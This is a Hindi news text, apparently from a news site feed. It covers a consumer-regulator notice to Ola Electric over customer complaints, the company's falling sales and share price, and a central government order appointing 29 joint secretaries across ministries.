राष्ट्रीय उपभोक्ता हेल्पलाइन (एनसीएच) के समक्ष लंबित ईवी के खिलाफ शिकायतों का भी विश्लेषण किया जाएगा। ओला इलेक्ट्रिक का शेयर सोमवार को लगभग 78 रुपये पर था, जो कि इसके सर्वकालिक उच्च स्तर 157.40 रुपये से लगभग 50 प्रतिशत कम है। इस महीने की शुरुआत में राष्ट्रीय उपभोक्ता हेल्पलाइन (एनसीएच) को पिछले एक साल में खराब उत्पाद और बिक्री के संबंधों में 10,000 से अधिक शिकायतें मिलने के बाद कंपनी को सीसीपीए से नोटिस भेजा गया था।

अगर ओला इलेक्ट्रिक के दावे नियामक को संतुष्ट करने में विफल रहते हैं, तो उसे कानूनी कार्रवाई का सामना करना पड़ सकता है और कथित तौर पर पीएम इलेक्ट्रिक ड्राइव रिवोल्यूशन इन इनोवेटिव व्हीकल एन्हांसमेंट (पीएम ई-ड्राइव) योजना के तहत उसके इलेक्ट्रिक वाहनों को मिलने वाली सब्सिडी से हाथ धोना पड़ सकता है। सरकारी पोर्टल वाहन के मुताबिक, ओला इलेक्ट्रिक ने सितंबर में 24,665 ई-स्कूटर बेचे हैं। अगस्त में यह आंकड़ा 27,587 था।

ओला इलेक्ट्रिक का मार्केट शेयर गिरने की वजह बाजार में प्रतिस्पर्धा का बढ़ना है। बड़ी ऑटो कंपनियां भी इलेक्ट्रिक दोपहिया सेक्टर में अपने पांव जमाने की कोशिश कर रही है। रिपोर्ट्स के मुताबिक, ओला इलेक्ट्रिक के ईवी में ग्राहकों को कई सारी परेशानियों का सामना करना पड़ा है, जिसमें सॉफ्टवेयर, हार्डवेयर और सर्विस सेंटर से जुड़ी समस्याएं हैं।

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केंद्र ने नौकरशाही में किया बड़ा फेरबदल, विभिन्न विभागों में की 29 संयुक्त सचिवों की नियुक्ति https://pratyushaashakinayikiran.com/?p=90429 Sun, 27 Oct 2024 09:16:00 +0000 https://pratyushaashakinayikiran.com/?p=90429 नईदिल्ली
 केंद्र द्वारा नौकरशाही में किए गए बड़े फेरबदल के तहत विभिन्न सरकारी विभागों में 29 संयुक्त सचिवों की नियुक्ति की गई है। कार्मिक मंत्रालय द्वारा  जारी आदेश के अनुसार, भारतीय रक्षा लेखा सेवा (आईडीएएस), भारतीय रेलवे विद्युत इंजीनियर सेवा (आईआरएसईई), भारतीय लेखा परीक्षा एवं लेखा सेवा (आईएएंडएएस) और भारतीय राजस्व सेवा (आईआरएस) सहित विभिन्न केंद्रीय सेवाओं के अधिकारियों को संयुक्त सचिव (जेएस) स्तर के इन प्रमुख पदों पर नियुक्त किया गया है।

आदेश में कहा गया है कि आईडीएएस अधिकारी प्रवीण कुमार राय और राकेश कुमार पांडे तथा आईआरएसईई अधिकारी राजेश गुप्ता को गृह मंत्रालय में संयुक्त सचिव नियुक्त किया गया है। इसमें बताया गया कि आईएएंडएएस अधिकारी (1999 बैच) राज कुमार को पांच साल के कार्यकाल के लिए गृह मंत्रालय के तहत केंद्रीय रिजर्व पुलिस बल (सीआरपीएफ) में निदेशक (वित्त) के रूप में नियुक्त किया गया है।

आदेश में कहा गया है कि उत्तर प्रदेश काडर के 2000 बैच के भारतीय प्रशासनिक सेवा (आईएएस) अधिकारी दीपक अग्रवाल को भारतीय राष्ट्रीय कृषि सहकारी विपणन संघ (नेफेड) का प्रबंध निदेशक (जेएस स्तर) नियुक्त किया गया है। आईएएस अधिकारियों चौहान सरिता चंद और पी बाला किरण को क्रमशः प्रशासनिक सुधार एवं लोक शिकायत विभाग और कार्मिक एवं प्रशिक्षण विभाग में संयुक्त सचिव नियुक्त किया गया है।

आदेश में कहा गया है कि आंध्र प्रदेश काडर की 1996 बैच की भारतीय पुलिस सेवा (आईपीएस) अधिकारी भावना सक्सेना को महिला एवं बाल विकास मंत्रालय के तहत केंद्रीय दत्तक ग्रहण संसाधन प्राधिकरण (सीएआरए) की सीईओ (मुख्य कार्यकारी अधिकारी) नियुक्त किया गया है।

भारतीय आयुध निर्माणी सेवा (आईओएफएस) के 1998 बैच के अधिकारी अंजन कुमार मिश्रा को पेट्रोलियम और प्राकृतिक गैस मंत्रालय के तहत पेट्रोलियम और प्राकृतिक गैस नियामक बोर्ड (पीएनजीआरबी) का सचिव नियुक्त किया गया है।

आदेश में कहा गया है कि केंद्रीय सचिवालय सेवा (सीएसएस) के अधिकारी नीरज कुमार को पूर्वोत्तर क्षेत्र विकास मंत्रालय में संयुक्त सचिव नियुक्त किया गया है। इसके अलावा 1995 बैच के आईआरएस (आयकर काडर) अधिकारी केसांग यांगजोम शेरपा वाणिज्य विभाग में संयुक्त सचिव होंगे।

प्रेमजीत लाल को भारत व्यापार संवर्धन संगठन (आईटीपीओ) का कार्यकारी निदेशक नियुक्त किया गया है, बालामुरुगन डी को कॉर्पोरेट मामलों के मंत्रालय में संयुक्त सचिव और रमा शंकर सिन्हा को पशुपालन एवं डेयरी विभाग में संयुक्त सचिव नियुक्त किया गया है। वरिष्ठ नौकरशाह रजत अग्रवाल और वेद प्रकाश मिश्रा को पर्यावरण, वन एवं जलवायु परिवर्तन मंत्रालय में संयुक्त सचिव नियुक्त किया गया है।

 

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